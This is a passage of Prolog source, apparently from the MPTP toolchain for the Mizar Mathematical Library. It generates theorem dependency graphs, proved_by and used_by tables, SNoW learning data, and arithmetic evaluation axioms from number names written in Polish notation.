print_nn_chain_for_dot(LastTh,[]).\nprint_nn_chain_for_dot(LastTh,Options):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\t(member(o_ths_TL_LEMMAS, Options) -> (RefCodes2= [l], load_lemmas); RefCodes2=[]),\n\t(member(o_ths_DEFS, Options) -> RefCodes1= [d|RefCodes2]; RefCodes1=RefCodes2),\n\t(member(o_ths_SCHEMES, Options) -> RefCodes=[t,s|RefCodes1]; RefCodes=[t|RefCodes1]),\n\tinstall_index,\n\tformat(\"strict digraph ~w {\",[LastTh]), !,\n\tth_rec_uses(LastTh,_,_,_,_,_,_,_,_,_,U,_),\n\tsort_in_mml_order([LastTh|U],U1), !,\n\tnth1(Nr,U1, Name),\n% \t(\n% \t  Nr = 1\n% \t;\n\n% \t  Nr > 1,\n% \t  PrevNr is Nr - 1,\n% \t  nth1(PrevNr,U1, PrevName),\n% \t  write(PrevName),format(\" -> \"),write(Name),format(\"[color = red];\"),nl\n% \t),\n\tfof(Name,_,_,file(_,Name),Info),\n\tInfo = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\tfindall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t     member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs1),\n\tonce(findall(d,(member(R1,Refs1),write(R1),format(\" -> \"),write(Name),format(\";\"),nl),_)),\n\tfail.\n\n%% select only references from article\nfilter_article_refs(Article,RefsIn,RefsOut):-\n\tfindall(Ref,\n\t\t(\n\t\t  member(Ref, RefsIn),\n\t\t  fof_name(Ref, Id),\n\t\t  clause(fof(Ref,_,_,file(Article,_),_),_,Id)\n\t\t),\n\t\tRefsOut\n\t       ).\n\n%% find article root theorems (i.e. those not referenced by other theorems in the article)\nfind_article_roots(A,Roots):-\n\tfindall([Ref,Refs1],\n\t\t(\n\t\t  fof_file(A,I),\n\t\t  clause(fof(Ref,theorem,_,file(A,_),[mptp_info(_,_,_,_,_), inference(_,_,[R1|Refs])| _]),_,I),\n\t\t  filter_article_refs(A,[R1|Refs],Refs1)\n\t\t),\n\t\tPairs\n\t       ),\n\tzip(Ths, Refs2, Pairs),\n\tflatten(Refs2, Refs3),\n\tsort(Refs3, Refs4),\n\tsubtract(Ths, Refs4, Roots).\n\n%% ###TODO: pepin.lem2 is broken because of very large integer evaluations there\n%% Print the nr. of roots of articles asserted in predicate good/1, print the roots\n%% of each such article, and count how many roots are in all good articles\n%% ##TEST: :- assert(good(aff_3)),declare_mptp_predicates,load_mml,install_index,\n%%            findall(N,(good(X),find_article_roots(X,Roots),length(Roots,N),print(roots(X,N)),nl,print(Roots),nl),L),\n%%            sumlist(L,M),length(L,L1),print(L).\n\n%%%%%%%%%%%%%%%%%%%% Create initial proved_by table for malarea  %%%%%%%%%%%%%%%%%%%%\n\n%% print thms and top lemmas with top-level references, and including itself;\n%% all other top-level guys (defs, clusters, types) will be taken care of by malarea\nmk_proved_by_for_malarea(File):-\n\tdeclare_mptp_predicates,\n\tall_articles(Articles),\n\tload_theorems,\n\tload_lemmas,\n\ttell(File),\n\t%% ###TODO: this might be a bit fragile\n\t(\n\t  member(A,[tarski|Articles]),\n\t  fof(Name,Kind,_Fla,file(A,Name),Info),\n\t  member(Kind,[theorem,lemma_conjecture]),\n\t  Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\t  Refs = [_ | _],\n\t  findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t       member(C,[t,d,s,l])), Refs1),\n\t  write(proved_by(Name,[Name | Refs1])),\n\t  write('.'), nl,\n\t  fail\n\t;\n\t  told\n\t).\n\n%%%%%%%%%%%%%%%%%%% Get the used_by info %%%%%%%%%%%%%%%%%%%%\ncreate_used_by(_Options):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tinstall_index,\n\tall_articles(Articles),\n\tabolish(used_by/2),\n\tdynamic(used_by/2),\n\t(\n\t member(A,[tarski|Articles]),\n\t fof(Name,Kind,_,file(A,Name),Info),\n\t Kind = theorem,\n\t Info = [mptp_info(_,[],theorem,_,_), inference(_,_,Refs) |_],\n\t findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t     member(C,[t,d]), assert(used_by(Ref,Name))), _),\n\t fail\n\t;\n\t true\n\t).\n\n% should be preceded by create_used_by\nprint_used_by(File, _Options):-\n\tall_articles(Articles),\n\ttell(File),\n\t(\n\t member(A,[tarski|Articles]),\n\t fof(Name,_,_,file(A,Name),_),\n\t findall(Ref, used_by(Name, Ref), Refs),\n\t concat_atom(Refs,',',ToPrint),\n\t write(Name), write(':'), write(ToPrint), nl,\n\t fail\n\t;\n\t told\n\t).\n\n\n%%%%%%%%%%%%%%%%%%%% Create training data for SNoW %%%%%%%%%%%%%%%%%%%%\n\n%% symbol and reference numbering for snow\n%% symbols start at 100000\nget_snow_refnr(Ref,Nr):- snow_refnr(Ref,Nr),!.\nget_snow_refnr(Ref,Nr):-\n\tflag(snow_refnr,N,N+1), Nr is N+1,\n\tassert(snow_refnr(Ref,Nr)),!.\n\nget_snow_symnr(Ref,Nr):- snow_symnr(Ref,Nr),!.\nget_snow_symnr(Ref,Nr):- flag(snow_symnr,N,N+1), Nr is N+1,\n\tassert(snow_symnr(Ref,Nr)),!.\n\n%% print defs and thms, with only top-level references\n%% now prints in the article order, and also respects\n%% the order of defs and theorems in the article -\n%% needed for incremental learning\n%% ##TEST: :- mk_snow_input_for_learning(snow1,[]).\n%%\n%% With the following options the formula is printed as a graph, and with symbol\n%% numbering starting at 0 (instead of reference numbering):\n%% ##TEST: :- mk_snow_input_for_learning(snow3,[opt_LEARN_EDGE, opt_LEARN_SYMS_SMALL]).\nmk_snow_input_for_learning(File,Options):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tinstall_index,\n\tall_articles(Articles),\n\tabolish(snow_symnr/2),\n\tabolish(snow_refnr/2),\n\tdynamic(snow_symnr/2),\n\tdynamic(snow_refnr/2),\n\t(\n\t member(opt_LEARN_SYMS_SMALL, Options) ->\n\t flag(snow_refnr,_,100000),\n\t flag(snow_symnr,_,0)\n\t;\n\t flag(snow_refnr,_,0),\n\t flag(snow_symnr,_,100000)\n\t),\n\tlogic_syms(LogicSyms),\n\tconcat_atom([File,'.train'], TrainFile),\n\tconcat_atom([File,'.refnr'], RefFile),\n\tconcat_atom([File,'.symnr'], SymFile),\n\ttell(TrainFile),\n\t%% print definitions - they have no proof\n\t%% ###TODO: this might be a bit fragile\n\t(\n\t  member(A,[tarski|Articles]),\n\t  fof(Name,Kind,Fla,file(A,Name),Info),\n\t  (\n\t    Kind = definition,\n\t    Refs1 = []\n\t  ;\n\t    Kind = theorem,\n\t    Info = [mptp_info(_,[],theorem,_,_), inference(_,_,Refs) |_],\n\t    findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t\t member(C,[t,d])), Refs1)\n\t  ),\n\t (\n\t  member(opt_LEARN_EDGE,Options) ->\n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  term2list(Fla1,LL1),\n\t  flatten(LL1,LL2),\n\t  length(LL2,Length1),\n\t  write(Length1),\n\t  write(';'),\n\t  print_as_numbered_tree(Fla1),\n\t  maplist(get_snow_refnr,[Name|Refs1],RefNrs),\n\t  concat_atom(RefNrs,',',ToPrint),\n\t  write(ToPrint), write(':'), nl\n\t ;\n\t  collect_symbols_top(Fla, AllSyms),\n\t  subtract(AllSyms,LogicSyms,Syms),\n\t  Syms = [_|_],\n\t  maplist(get_snow_symnr,Syms,SymNrs),\n\t  maplist(get_snow_refnr,[Name|Refs1],RefNrs),\n\t  append(SymNrs,RefNrs,AllNrs),\n\t  concat_atom(AllNrs,',',ToPrint),\n\t  write(ToPrint), write(':'), nl\n\t ),\n\t fail\n\t;\n\t  told\n\t),\n\ttell(SymFile),\n\tlisting(snow_symnr),\n\ttold,\n\ttell(RefFile),\n\tlisting(snow_refnr),\n\ttold.\n\n\n\n\n%% print_as_numbered_tree(+Term)\n%%\n%% prints term edges in the format 11:23,45:3,56:78\n%% numbering the vertices uniquely\nprint_as_numbered_tree(Term) :- p2t(Term),!.\n\np2t(X):- (atomic(X);var(X);is_numvar(X)),!.\np2t(X):-\n\tX =.. [H|T],\n\tget_snow_symnr(H,HNr),\n\tprint_edges_to(HNr,T),\n\tchecklist(p2t, T).\n\n%% print_edges_to(+From,+ToTerms)\nprint_edges_to(_,[]).\nprint_edges_to(From,[H|T]):-\n\twrite(From),\n\twrite(':'),\n\t(\n\t (atomic(H);is_numvar(H)) -> H1 = H\n\t;\n\t H=.. [H1|_]\n\t),\n\tget_snow_symnr(H1,HNr),\n\twrite(HNr),\n\twrite(','),\n\tprint_edges_to(From,T).\n\n%% translate numerical spec into Refs and assert them\n%% not used any more, implementing the translation in perl\n%% with an array is much faster\nsnow_nr_spec_translate(Nr,Nrs):-\n\tmaplist(snow_refnr, [Ref | Refs], [Nr | Nrs]),\n\tassert(snow_spec( Ref, Refs)), !,\n\t((0 =:= Nr mod 1000) -> write('.'),nl; true).\n\n% snow_nr_spec_translate(R,Rs):- throw(snow_nr_spec_translate(R,Rs)).\n\n\n%% parse snow specification\n%% not used any more, the prolog translation was very slow\n%% use just consult(Specfile) instead now!!\nparse_snow_specs(File):-\n\tthrow(do_not_use_this),\n\tabolish(snow_symnr/2),\n\tabolish(snow_refnr/2),\n\tabolish(snow_spec/2),\n\tabolish(snow_nr_spec/2),\n%\tdynamic(snow_symnr/2),\n%\tdynamic(snow_refnr/2),\n\tdynamic(snow_spec/2),\n%\tdynamic(snow_nr_spec/2),\n\tindex(snow_symnr(1,1)),\n\tindex(snow_refnr(1,1)),\n\tconcat_atom([File,'.spec'], SpecFile),\n\tconcat_atom([File,'.refnr'], RefFile),\n\tconcat_atom([File,'.symnr'], SymFile),\n \tload_files([RefFile, SymFile]),\n\tindex(snow_refnr(1,1)),\n\tcompile_predicates([snow_refnr/2]),\n\tsee(SpecFile),\n\trepeat,\n\tread(Spec),\n\t( Spec = end_of_file -> seen;\n\t    Spec = snow_nr_spec(Nr,Nrs),\n%\t    assert(snow_nr_spec(Nr,Nrs)),\n\t    snow_nr_spec_translate(Nr, Nrs),\n\t    fail).\n% \tload_files([SpecFile, RefFile, SymFile]),\n% \t(\n% \t  snow_nr_spec(Nr, Nrs),\n% \t  snow_nr_spec_translate(Nr, Nrs),\n% \t  fail\n% \t;\n% \t  true\n% \t).\n\n%%%%%%%%%%%%%%% requirements switched on by directives %%%%%\n\n%% arithm.dre MML 930\n% req_RealAdd,             //12\n% req_RealMult,            //13\n% req_RealNeg,             //21\n% req_RealInv,             //22\n% req_RealDiff,            //23\n% req_RealDiv,             //24\n% req_ImaginaryUnit,       //29\n% req_Complex,             //30\n\n% %% boole.dre\n% req_Empty,               //4\n% req_EmptySet,            //5\n% req_Union,               //16\n% req_Intersection,        //17\n% req_Subtraction,         //18\n% req_SymmetricDifference, //19\n% req_Meets,               //20\n\n% %% hidden.dre\n% req_Any,                 //1\n% req_EqualsTo,            //2\n% req_BelongsTo,           //3\n\n\n% %% numerals.dre\n% req_Succ,                //15\n% req_Omega                //31\n\n\n% %% real.dre\n% req_LessOrEqual,         //14\n% req_Positive,            //26\n% req_Negative,            //27\n\n% %% subset.dre\n% req_Element,             //6\n% req_PowerSet,            //7\n% req_Inclusion,           //8\n% req_SubDomElem,          //9\n\n\n\n\n%%%%%%%%%%%%%%% generating numerical formulas %%%%%%%%%%%%%%%%%%%%\n\n%% ## TEST: :- declare_mptp_predicates,load_mml,\n%%             findall(L,(current_atom(L), atom_concat(rq,L1,L), concat_atom([_,_,_|_],'__',L1)), Names),length(Names,N).\n%% There are 7456 different evaluations in MML 940 4.48\n%% (measured by previous, which may omit some evaluations in proofs of e.g. def. correctness)\n\n%% ###TODO: rqPositive, rqNegative\n%% ##TODO: represent the operators with TPTP language\n%% ##TODO: arithmetical evaluations take place in Mizar also during\n%%         term parsing (identify.pas:CollectInferConst), precisely:\n%%   - numerals and rqImaginaryUnit get a numvalue\n%%   - rqRealAdd, rqRealMult, rqRealDiff, rqRealDiv, rqRealNeg, rqRealInv\n%%     of arguments with numvalue get a numvalue\n%%  Parsing (CollectInferConst) can happen in other places than just\n%%  By justifications, so we probably have to do these evaluations\n%%  automatically, once we encounter such terms and the requirements\n%%  tell us to do so.\n\n%% axioms needed for any arithmetical problem:\n%% linearity of odering of reals (if rqLessOrEqual appeared)\n%% X+0 = X   ARITHM:1 fof(t1_arithm,theorem,![B1: v1_xcmplx_0]: ( k2_xcmplx_0(B1,0) = B1 ),file(arithm,t1_arithm),\n%% X + (-Y) = X - Y  fof(spc1_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]: ( k2_xcmplx_0(B1,k4_xcmplx_0(B2)) =\n%%                       k6_xcmplx_0(B1,B2) ),file(arithm,spc1_arithm),\n%% -(-X) = X  fof(involutiveness_k4_xcmplx_0\n%% X*0 = 0  ARITHM:2\n%% X*1 = X  ARITHM:3\n%% X*(-1) = -X fof(spc2_arithm,theorem,![B1: v1_xcmplx_0]: ( k3_xcmplx_0(B1,k4_xcmplx_0(1)) =  k4_xcmplx_0(B1)),\n%%                       file(arithm,spc2_arithm),\n%% (X\")\" = X   (what about 0? - holds) fof(involutiveness_k5_xcmplx_0\n%% 1/X = X\"  as special case of XCMPLX_0:def 9 (X/Y = X*Y\"), let's have an spc3_arithm:\n%%              fof(spc3_arithm,theorem,![B1: v1_xcmplx_0]: ( k7_xcmplx_0(1,B1) =  k5_xcmplx_0(B1)),\n%%                       file(arithm,spc3_arithm),\n%% X/1 = X  ARITHM:6\n%% X*(Y/Z) = (X*Y)/Z  fof(spc4_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k3_xcmplx_0(B1,k7_xcmplx_0(B2,B3)) = k7_xcmplx_0(k3_xcmplx_0(B1,B2),B3)),\n%%                       file(arithm,spc4_arithm),\n%% succ(X) = X+1 ( only if both succ and + present in a problem)\n%% (X+Y)*Z= X*Z + Y*Z fof(spc5_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k3_xcmplx_0(k2_xcmplx_0(B1,B2),B3) = k2_xcmplx_0(k3_xcmplx_0(B1,B3),k3_xcmplx_0(B2,B3))),\n%%                       file(arithm,spc5_arithm),\n%% (X+Y)+Z = X+(Y+Z) fof(spc6_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k2_xcmplx_0(k2_xcmplx_0(B1,B2),B3) = k2_xcmplx_0(B1,k2_xcmplx_0(B2,B3))),\n%%                       file(arithm,spc6_arithm),\n%% (X*Y)*Z = X*(Y*Z) fof(spc7_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k3_xcmplx_0(k3_xcmplx_0(B1,B2),B3) = k3_xcmplx_0(B1,k3_xcmplx_0(B2,B3))),\n%%                       file(arithm,spc6_arithm),\n%% version of spc1 catching cases without rqRealDiff (was redundant for square_1, but needed by xreal_1)\n%% (-X) + (-Y) = -(X + Y)  fof(spc8_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                           ( k2_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2)) =\n%%                       k4_xcmplx_0(k2_xcmplx_0(B1,B2)) ),file(arithm,spc8_arithm),\n%% another strange phrasing of spc1, when + is not there\n%% (-X) - (-Y) = Y - X    fof(spc9_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                        ( k6_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2))  =\n%%                          k6_xcmplx_0(B2,B1) ),file(arithm,spc9_arithm),\n%% (X\") * (Y\") = (X*Y)\"   fof(spc10_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                           ( k3_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2)) =\n%%                       k5_xcmplx_0(k3_xcmplx_0(B1,B2)) ),file(arithm,spc10_arithm),\n%% (X\") / (Y\") = Y/X     fof(spc11_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                        ( k7_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2))  =\n%%                          k7_xcmplx_0(B2,B1) ),file(arithm,spc11_arithm),\n%% X*(Y\") = X/Y      fof(spc12_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]: ( k3_xcmplx_0(B1,k5_xcmplx_0(B2)) =\n%%                       k7_xcmplx_0(B1,B2) ),file(arithm,spc12_arithm),\n%% -(X - Y) = Y - X\n%%\n%%\n\n\n%% (-X) - Y = -(X + Y)\n%% X <= X  reflexivity\n\n\n%% this could become  MML-version specific (it is now)\nreq_LessOrEqual([4,48,_],r1_xreal_0):-!.\nreq_LessOrEqual([4,_,_],r1_xxreal_0).\nreq_ImaginaryUnit(_,k1_xcmplx_0).\nreq_RealAdd(_,k2_xcmplx_0).\nreq_RealDiff(_,k6_xcmplx_0).\nreq_RealDiv(_,k7_xcmplx_0).\nreq_RealInv(_,k5_xcmplx_0).\nreq_RealMult(_,k3_xcmplx_0).\nreq_RealNeg(_,k4_xcmplx_0).\nreq_Positive([4,48,_],v2_xreal_0):-!.\nreq_Positive([4,_,_],v2_xxreal_0).\n\n\n%% decode_pn_number(+Atom, [-MizExpr, -CmplxNr])\n%%\n%% Decode the Polish notation used for encoding numbers in MPTP\n%% formula names. The result is an MPTP term, encoded using\n%% the corresponding Mizar functors (see the req_Real... above),\n%% and a canonical prolog term c(Im,Re) for proper complex numbers, and\n%% r(NumInt,DenInt) (e.g. r(-1,3)) for those whose imaginary part is 0,\n%% usable for prolog evaluation and comparison.\ndecode_pn_number(MmlVersion, Atom, [MizExpr, CmplxNr]):-\n\tensure(atom_chars(Atom, Chars), decode_pn_number(Atom)),\n\tensure(decd_cmplx_nr(Chars, MmlVersion, MizExpr, CmplxNr, []), decd_cmplx_nr(Chars)).\n\ndecd_cmplx_nr([c|L1],MmlVersion,MizRes,c(Im,Re),Hole):- !,\n\tdecd_rat_nr(L1, MmlVersion, MizIm1, Im, [r|Rest]),\n\tdecd_rat_nr([r|Rest], MmlVersion, MizRe1, Re, Hole),\n\treq_ImaginaryUnit(MmlVersion,ImU),\n\t(\n\t  MizIm1 = 1 ->\n\t  MizIm = ImU\n\t;\n\t  req_RealMult(MmlVersion,Mult),\n\t  MizIm =.. [Mult, MizIm1, ImU]\n\t),\n\t(\n\t  MizRe1 = 0 ->\n\t  MizRes = MizIm\n\t;\n\t  req_RealAdd(MmlVersion,Add),\n\t  MizRes =.. [Add, MizIm, MizRe1]\n\t).\n\ndecd_cmplx_nr([r|L1],MmlVersion,MizRes,RatNr,Hole):- decd_rat_nr([r|L1], MmlVersion, MizRes, RatNr, Hole).\n\ndecd_rat_nr([r,n|L1],MmlVersion,MizRes,r(SNum,SDen),Hole):- !,\n\tdecd_signed_nr(L1, MmlVersion, MizNum, SNum1, [d|Rest]),\n\tdecd_signed_nr(Rest, MmlVersion, MizDen, SDen1, Hole),\n\tratnr_normalize_sgn(r(SNum1,SDen1), r(SNum,SDen)),\n\treq_RealDiv(MmlVersion, Div),\n\tMizRes =.. [Div, MizNum, MizDen].\n\ndecd_rat_nr([r|L1],MmlVersion,MizRes,r(SNum,1),Hole):- decd_signed_nr(L1,MmlVersion,MizRes,SNum,Hole).\n\ndecd_signed_nr([m|L1],MmlVersion,MizRes,SNum,Hole):- !,\n\tdecd_nat_nr(L1, Res1, Hole),\n\tSNum is 0 - Res1,\n\treq_RealNeg(MmlVersion, Neg),\n\tMizRes =.. [Neg, Res1].\n\ndecd_signed_nr(L1,_,Res,Res,Hole):- decd_nat_nr(L1,Res,Hole).\n\ndecd_nat_nr([H|T],Res,Hole):-\n\tdigit(H),\n\tdecd_digits(T,Digs,Hole),\n\tnumber_chars(Res, [H | Digs]).\n\ndecd_digits([D|L],[D|Res1],Hole):-\n\tdigit(D),!,\n\tdecd_digits(L, Res1, Hole).\n\ndecd_digits(Hole,[],Hole).\n\n%% Normalize signum of a fraction so that there is at most\n%% one, and at the numerator (safety, Mizar ensures this).\nratnr_normalize_sgn(r(SNum1,SDen1), r(SNum,SDen)):-\n\t  SDen1 < 0, !,\n\t  SDen is 0 - SDen1,\n\t  SNum is 0 - SNum1.\n\nratnr_normalize_sgn(r(SNum,SDen), r(SNum,SDen)).\n\n%% compare two fractions in the standard numerical ordering\nratnr_cmp(Order,r(A,B),r(C,D)):-\n\tAD is A*D,\n\tBC is B*C,\n\tcompare(Order, AD, BC).\n\n%% decode_eval_name(+Name,-Req,-Constructor,-MizNumbers,-Numbers)\n%%\n%% Name is a reference like: rqRealMult__k3_xcmplx_0__rnm1d2_rm2.\n%% Returns the requirement (rqRealMult), constructor (k3_xcmplx_0),\n%% list of Mizar numbers like:\n%% [k7_xcmplx_0(k4_xcmplx_0(1), 2), k4_xcmplx_0(2)], and\n%% a list of corresponding prolog-friendly rational numbers like:\n%% [r(-1, 2), r(-2, 1)].\ndecode_eval_name(Name,Req,Constructor,MizNumbers,RatNrs):-\n\tconcat_atom([Req,Constructor,ArgsAtom], '__', Name),\n\tconcat_atom(ArgsAtoms,'_',ArgsAtom),\n\tmml_version(MmlVersion),\n\tmaplist(decode_pn_number(MmlVersion), ArgsAtoms, Numbers),\n\tzip(MizNumbers, RatNrs, Numbers).\n\n\n%% create_eval_fla(Req, Constructor, MizNumbers, RatNrs, -Fla)\ncreate_eval_fla(rqLessOrEqual, Constructor, [MizNr1,MizNr2], [RatNr1,RatNr2], Fla):- !,\n\tFla1 =.. [Constructor, MizNr1, MizNr2],\n\t(\n\t  ratnr_cmp('>', RatNr1, RatNr2) ->\n\t  Fla = (~ Fla1)\n\t;\n\t  Fla = Fla1\n\t).\n\n%% ###TODO: check the Mizar result in prolog here\ncreate_eval_fla(_Req, Constructor, MizNumbers, _RatNrs, FuncTerm = MizRes):-\n\tappend(MizArgs, [MizRes], MizNumbers),\n\tFuncTerm =.. [Constructor | MizArgs].\n\n%% gen_eval_fof(+Name,-Fof,+Options)\n%%\n%% ##TODO: add a third debugging clause (ensure) if it's ok for callers\ngen_eval_fof(Name,_Fof,_Options):- fof(Name,_,_,_,_),!,fail.\ngen_eval_fof(Name,Fof,_Options):-\n\tdecode_eval_name(Name, Req, Constructor, MizNumbers, RatNrs),\n\tcreate_eval_fla(Req, Constructor, MizNumbers, RatNrs, Fla),\n\tFof = fof(Name,theorem, Fla, file(arithm,Name),\n\t\t  [mptp_info(0,[],theorem,position(0,0),[0])]).\n\n%% assert_arith_evals(-Names)\n%%\n%% Asserts arithmetical formulas for evaluations referenced\n%% anywhere, and returns their fof names.\n%% Cheats by going through the symbol table instead of\n%% traversing all formulas, a bit fragile as a result,\n%% it calls gen_eval_fof on all symbols starting with rq,\n%% and containing at least two '__' substrings. This check could be\n%% stronger if needed, and redundant correct eval fofs don't hurt.\nassert_arith_evals(Names):-\n\tfindall(L,(\n\t\t   current_atom(L),\n\t\t   atom_concat(rq,L1,L),\n\t\t   concat_atom([_,_,_|_],'__',L1),\n\t\t   gen_eval_fof(L,Fof,[]),\n\t\t   assert(Fof)\n\t\t  ),\n\t\tNames).\n\n\nassert_fof_if_not(fof(Name,_,_,_,_)):- fof(Name,_,_,_,_),!.\nassert_fof_if_not(fof(A,B,C,D,E)):- assert(fof(A,B,C,D,E)).\n%% assert_arith_reqs(Names)\n%%\nassert_arith_reqs([spc1_arithm,spc2_arithm,spc3_arithm,spc4_arithm,spc5_arithm,spc6_arithm,\n\t\t   spc7_arithm,spc8_arithm,spc9_arithm,spc10_arithm,spc11_arithm,spc12_arithm]):-\n\tassert_fof_if_not(fof(spc1_arithm,theorem,![(B11: v1_xcmplx_0),(B12: v1_xcmplx_0) ]:\n\t\t\t     ( k2_xcmplx_0(B11,k4_xcmplx_0(B12)) = k6_xcmplx_0(B11,B12) ),\n\t\t\t      file(arithm,spc1_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc2_arithm,theorem,![B21: v1_xcmplx_0]:\n\t\t\t     ( k3_xcmplx_0(B21,k4_xcmplx_0(1)) =  k4_xcmplx_0(B21)),\n\t\t\t      file(arithm,spc2_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc3_arithm,theorem,![B31: v1_xcmplx_0]:\n\t\t\t     ( k7_xcmplx_0(1,B31) =  k5_xcmplx_0(B31)),\n\t\t\t      file(arithm,spc3_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc4_arithm,theorem,![(B41: v1_xcmplx_0),(B42: v1_xcmplx_0),(B43: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(B41,k7_xcmplx_0(B42,B43)) = k7_xcmplx_0(k3_xcmplx_0(B41,B42),B43)),\n\t\t\t      file(arithm,spc4_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc5_arithm,theorem,![(B51: v1_xcmplx_0),(B52: v1_xcmplx_0),(B53: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(k2_xcmplx_0(B51,B52),B53) = k2_xcmplx_0(k3_xcmplx_0(B51,B53),k3_xcmplx_0(B52,B53))),\n\t\t\t      file(arithm,spc5_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc6_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n\t\t\t     ( k2_xcmplx_0(k2_xcmplx_0(B1,B2),B3) = k2_xcmplx_0(B1,k2_xcmplx_0(B2,B3))),\n\t\t\t      file(arithm,spc6_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc7_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(k3_xcmplx_0(B1,B2),B3) = k3_xcmplx_0(B1,k3_xcmplx_0(B2,B3))),\n\t\t\t      file(arithm,spc6_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc8_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k2_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2)) = k4_xcmplx_0(k2_xcmplx_0(B1,B2)) ),\n\t\t\t      file(arithm,spc8_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc9_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k6_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2))  = k6_xcmplx_0(B2,B1) ),\n\t\t\t      file(arithm,spc9_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc10_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2)) = k5_xcmplx_0(k3_xcmplx_0(B1,B2)) ),\n\t\t\t      file(arithm,spc10_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc11_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k7_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2))  = k7_xcmplx_0(B2,B1) ),\n\t\t\t      file(arithm,spc11_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc12_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(B1,k5_xcmplx_0(B2)) = k7_xcmplx_0(B1,B2) ),\n\t\t\t      file(arithm,spc12_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])).\n\n%%%%%%%%%%%% export arithmetical formulas for testing with E %%%%%%%%%%%%\n\n%% test integer stuff only, numerals only\n%% req_RealAdd(k2_xcmplx_0).\n%% req_RealMult(k3_xcmplx_0).\n%% req_RealNeg(k4_xcmplx_0).\n%% req_RealInv(k5_xcmplx_0).\n%% req_RealDiff(k6_xcmplx_0).\n%% req_RealDiv(k7_xcmplx_0).\n%% req_LessOrEqual(r1_xreal_0).\n\nretract_tptp_int_names(MmlVersion):-\n\treq_RealAdd(MmlVersion, RealAdd),\n\treq_RealMult(MmlVersion, RealMult),\n\treq_RealNeg(MmlVersion, RealNeg),\n\treq_RealDiff(MmlVersion, RealDiff),\n\treq_RealDiv(MmlVersion, RealDiv),\n\treq_LessOrEqual(MmlVersion, LessOrEqual),\n\n\tretractall(constr_name(RealAdd,_,_)),\n\tretractall(constr_name(RealMult,_,_)),\n\tretractall(constr_name(RealNeg,_,_)),\n\tretractall(constr_name(RealDiff,_,_)),\n\tretractall(constr_name(RealDiv,_,_)),\n\tretractall(constr_name(LessOrEqual,_,_)).\n\nassert_tptp_int_names(MmlVersion):-\n\treq_RealAdd(MmlVersion, RealAdd),\n\treq_RealMult(MmlVersion, RealMult),\n\treq_RealNeg(MmlVersion, RealNeg),\n\treq_RealDiff(MmlVersion, 